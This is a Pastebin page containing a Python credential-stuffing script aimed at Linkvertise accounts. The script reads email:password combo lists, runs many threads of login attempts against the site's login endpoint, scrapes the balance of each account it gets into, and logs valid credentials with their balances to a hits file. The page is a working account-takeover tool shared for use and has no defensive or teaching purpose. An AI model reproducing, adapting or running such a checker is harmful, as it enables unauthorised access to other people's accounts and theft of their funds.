Advertisement
testlolololollo

sleep

Feb 21st, 2020
1,235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.23 KB | None | 0 0
  1. import requests
  2. import threading
  3. import colorama
  4. from bs4 import BeautifulSoup
  5. import ctypes
  6. from colorama import Fore,init
  7. import re
  8. init()
  9. e = threading.Lock()
  10.  
  11.  
  12. emails = []
  13. passwords = []
  14. num = 0
  15. sent = 0
  16. failed = 0
  17.  
  18. threads = int(input('Threads: '))
  19.  
  20. def accounts():
  21. with open('combos.txt','r', encoding='utf8') as f:
  22. for x in f.readlines():
  23. emails.append(x.split(":")[0].replace('\n',''))
  24. passwords.append(x.split(":")[-1].replace("\n",''))
  25.  
  26. def checker(email,password):
  27. global sent
  28. global failed
  29. global num
  30. s = requests.Session()
  31. api = 'https://linkvertise.net/login'
  32. api2 = 'https://linkvertise.net/dashboard'
  33. headers = {
  34. "Content-Type":"application/x-www-form-urlencoded",
  35. "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko",
  36. "Pragma":"no-cache",
  37. "Accept":"*/*"
  38. }
  39. data = {"username":email,"password":password}
  40. r = s.post(api,data=data,headers=headers)
  41. if "Invalid credentials." in r.text:
  42. e.acquire()
  43. failed +=1
  44. ctypes.windll.kernel32.SetConsoleTitleW("Linkvertise checker | Valid: {} | Invalid: {} | Azex.cc ".format(sent, failed, str(sent+failed)))
  45. print(Fore.RED+'[-] '+email+':'+password)
  46. e.release()
  47. else:
  48. if "You have successfully logged in" in r.text:
  49. e.acquire()
  50. sent +=1
  51. ctypes.windll.kernel32.SetConsoleTitleW("Linkvertise checker | Valid: {} | Invalid: {} | ".format(sent, failed, str(sent+failed)))
  52. balance = s.post(api2,headers=headers)
  53. soup = BeautifulSoup(balance.text,'lxml')
  54. xd = soup.find_all("div", "info-section")[0]
  55. xdlist = list(xd)
  56. bal = str(xdlist[5]).strip().replace('<h3>','').replace('</h3>','')[:-1]
  57. print(Fore.GREEN+'[+] '+email+':'+password+' | Balance: '+'€'+bal)
  58. with open('Hits.txt','a') as f:
  59. f.write(email + ':' + password + '| €'+bal+'\n')
  60. e.release()
  61.  
  62.  
  63. accounts()
  64. while True:
  65. if threading.active_count() <= threads:
  66. threading.Thread(target=checker, args=(emails[num],passwords[num],)).start()
  67. num +=1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement